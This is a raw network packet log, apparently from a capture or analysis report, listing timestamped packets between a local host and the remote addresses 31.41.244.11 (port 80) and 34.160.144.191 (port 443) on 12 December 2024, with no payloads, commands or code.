Dec 12, 2024 21:50:46.425636053 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.425828934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.426917076 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.427022934 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.428131104 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.428463936 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.429363966 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.429477930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.430556059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.430680037 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.431816101 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.431911945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.433037043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.433147907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.434362888 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.434442997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.435286999 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.435343027 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.435466051 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.435499907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.435573101 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.435574055 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.435611963 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.436765909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.436819077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.437748909 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.437925100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.438018084 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.439160109 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.439188957 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.439389944 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.439393997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.439685106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.440473080 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.440526962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.441641092 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.441740036 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.442661047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.442856073 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.442966938 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.443006039 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.444118023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.444144964 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.444221973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.445338011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.445434093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.446574926 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.446693897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.447768927 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.447890043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.447916985 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.448030949 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.449003935 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.449129105 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.450229883 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.450342894 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.451342106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.451531887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.451656103 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.452183008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.452770948 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.452902079 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.453157902 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.454008102 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.454108000 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.455157042 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.455246925 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.456398010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.456547976 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.457796097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.457927942 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.459145069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.459218979 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.459430933 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.459600925 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.459700108 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.460560083 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.460690975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.461709023 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.461836100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.462735891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.462816954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.463217974 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.463726997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.463887930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.464253902 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.464953899 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.465058088 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.465671062 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.466166019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.466260910 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.466357946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.466459990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.467425108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.467566013 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.468255043 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.468666077 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.468787909 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.468813896 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.468849897 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.469868898 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.469912052 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.469958067 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.470000029 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.471101046 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.471189976 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.471227884 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.471266985 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.472305059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.472347975 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.599267960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.599400043 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.599821091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.599951029 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.601090908 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.601229906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.602094889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.602212906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.603192091 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.603228092 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.603348017 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.603378057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.603466988 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.604399920 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.604527950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.605564117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.605710030 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.607069969 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.607153893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.608073950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.608266115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.609013081 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.609173059 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.610177040 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.610317945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.611287117 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.611413956 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.612431049 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.612564087 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.613574982 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.613729954 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.614737034 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.614845991 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.615902901 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.616010904 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.616316080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.616316080 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.616849899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.617058039 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.617141008 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.617233038 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.618177891 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.618226051 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.618307114 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.618350983 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.619411945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.619460106 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.619537115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.619623899 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.620505095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.620560884 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.620584965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.620642900 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.621721983 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.621767998 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.621818066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.621861935 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.622761011 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.622805119 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.622922897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.622963905 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.623934984 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.623981953 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.624063015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.624104977 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.625102997 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.625148058 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.625209093 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.625251055 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.626271963 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.626317024 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.626358032 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.626409054 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.627437115 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.627485037 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.627494097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.627535105 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.628534079 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.628578901 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.628643990 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.628688097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.629729033 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.629775047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.629853010 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.629940987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.630860090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.630906105 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.630913019 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.630954027 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.631978035 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.632029057 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.632092953 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.632138014 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.633169889 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.633212090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.633299112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.633342981 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.634251118 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.634294987 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.634375095 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.634589911 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.635426044 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.635533094 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.636639118 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.636708021 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.637562990 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.637784958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.637901068 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.637902021 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.638041973 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.638971090 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.639023066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.639200926 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.640373945 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.640481949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.640486956 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.640556097 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.641257048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.641304016 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.641315937 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.641360044 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.642344952 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.642400026 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.642502069 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.642544985 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.643466949 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.643515110 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.643579960 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.643681049 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.644665003 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.644745111 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.644836903 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.645766020 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.645895958 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.647025108 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.647094965 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.648128986 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.648257971 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.649151087 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.649292946 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.649414062 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.649473906 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.649519920 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.650559902 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.650599957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.650628090 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.650804996 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.651555061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.653827906 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.658771038 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.658853054 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.658854008 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.659050941 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.659132957 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.659181118 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.659238100 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.659282923 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.660034895 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.660079002 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.660151005 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.660196066 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.661237001 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.661295891 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.661317110 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.661360979 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.662373066 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.662420034 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.662441015 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.662518978 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.663733959 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.663750887 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.663778067 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.663800001 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.664655924 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.664729118 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.664782047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.666935921 CET	443	49981	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:46.667037964 CET	49981	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:46.669682026 CET	49981	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:46.669704914 CET	443	49981	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:46.670049906 CET	443	49981	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:46.671329021 CET	49981	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:46.671401978 CET	49981	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:46.671494961 CET	443	49981	34.160.144.191	192.168.2.6
Dec 12, 2024 21:50:46.671927929 CET	49981	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:46.671952963 CET	49981	443	192.168.2.6	34.160.144.191
Dec 12, 2024 21:50:46.792045116 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.792090893 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.792107105 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.792193890 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.792412996 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.792460918 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.792538881 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.792587042 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.793617964 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.793721914 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.793776035 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.793802023 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.794806004 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.794864893 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.794944048 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.794995070 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.795900106 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.795955896 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.796291113 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.796344995 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.797046900 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.797306061 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.797682047 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.798197031 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.798347950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.799415112 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.799526930 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.800472975 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.800571918 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.801589012 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.801714897 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.802810907 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.803174973 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.803899050 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.804063082 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.805058002 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.805171967 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.805995941 CET	49971	80	192.168.2.6	31.41.244.11
Dec 12, 2024 21:50:46.806247950 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.806302071 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.807415962 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.807480097 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.808516026 CET	80	49971	31.41.244.11	192.168.2.6
Dec 12, 2024 21:50:46.808705091 CET	80	49971	31.41.244.11	192.168.2.6
